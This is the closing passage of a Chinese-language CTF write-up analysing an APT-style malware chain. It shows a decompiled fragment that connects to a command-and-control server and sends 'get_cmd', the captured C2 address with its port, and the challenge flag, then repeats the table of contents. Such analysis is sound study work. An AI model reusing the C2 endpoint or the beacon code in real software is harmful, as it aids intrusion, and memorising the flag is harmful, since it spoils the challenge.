4

5
pszAddrString = (const CHAR *)v46; // 应该是解密出来的 IP 字符串
6
inet_pton(2, pszAddrString, ...);
7
connect(s, &name_, 16);
8

9
...
10

11
if ( connect(s, &name_, 16) >= 0 )
12
{
13
  // ...
14
  sub_4046D0("get_cmd", 7); // 构造发送缓冲区
15
  buf = (const char *)&buf_1;
16
  // ...
17
  send(s, buf, len, 0); // 发送
18
}

接着，程序建立 socket 连接，并发送了一个字符串 get_cmd。我们可以进行异或运算得到 IP 地址和端口，但零音尝试多次 XOR 后仍无法得到有效的 IP 地址字符串，怀疑程序可能进行了其他变换，零音未能成功探究。最后，零音选择使用工具「火绒剑」抓包。得到最终的 C2 地址为 47.252.28.78:37204。

Stage IV「获」#

访问该地址即可得到 flag。

1
ISCTF{Wow!_Y0u_F0uNd_C2_AdDr3sssss!}

结语#

至此，我们完成了对整个 APT 攻击链的完整复盘，成功捕获了最终的 flag。

本次逆向分析对零音而言是全新的知识：MSI Transform 的障眼法即为零音首次听说的反侦查手段，而对 .dll 文件的逆向方法，亦是在本次题目中才初次学习。本次逆向中，零音亦学习到了一些分析问题的方法，例如，对于实在无法剖析清楚的部分，如 Stage III 的 Action 3 中对 C2 地址的 XOR 解密，可以采取动态分析的方法，灵活而巧妙地得到答案。

感谢 Gemini 和 DeepSeek 在逆向过程中的帮助。

音乐

音乐

前言#

Stage I「隐」#

使用 Orca 分析 `.mst` 文件#

表 `Binary`#

表 `CustomAction`#

表 `File`#

表 `InstallExecuteSequence`#

Stage II「跃」#

逆向 DLL 的 `Utils` 函数#

Function 1「障眼」#

Function 2「匿身」#

Function 3「灵隐」#

使用 Resource Hacker 提取文件#

分析 `zRCAppCore.dll`#

解密 `zRC.dat`#

Stage III「升」#

脱壳 `zRC_decrypted.bin`#

寻找主函数和网络相关函数#

Action 1「窥伺」#

Action 2「初探」#

Action 3「回归」#

Stage IV「获」#

结语#

支持与分享

评论区

音乐

前言#

Stage I「隐」#

使用 Orca 分析 .mst 文件#

表 Binary#

表 CustomAction#

表 File#

表 InstallExecuteSequence#

Stage II「跃」#

逆向 DLL 的 Utils 函数#

Function 1「障眼」#

Function 2「匿身」#

Function 3「灵隐」#

使用 Resource Hacker 提取文件#

分析 zRCAppCore.dll#

解密 zRC.dat#

Stage III「升」#

脱壳 zRC_decrypted.bin#

寻找主函数和网络相关函数#

Action 1「窥伺」#

Action 2「初探」#

Action 3「回归」#

Stage IV「获」#

结语#

支持与分享

评论区

使用 Orca 分析 `.mst` 文件#

表 `Binary`#

表 `CustomAction`#

表 `File`#

表 `InstallExecuteSequence`#

逆向 DLL 的 `Utils` 函数#

分析 `zRCAppCore.dll`#

解密 `zRC.dat`#

脱壳 `zRC_decrypted.bin`#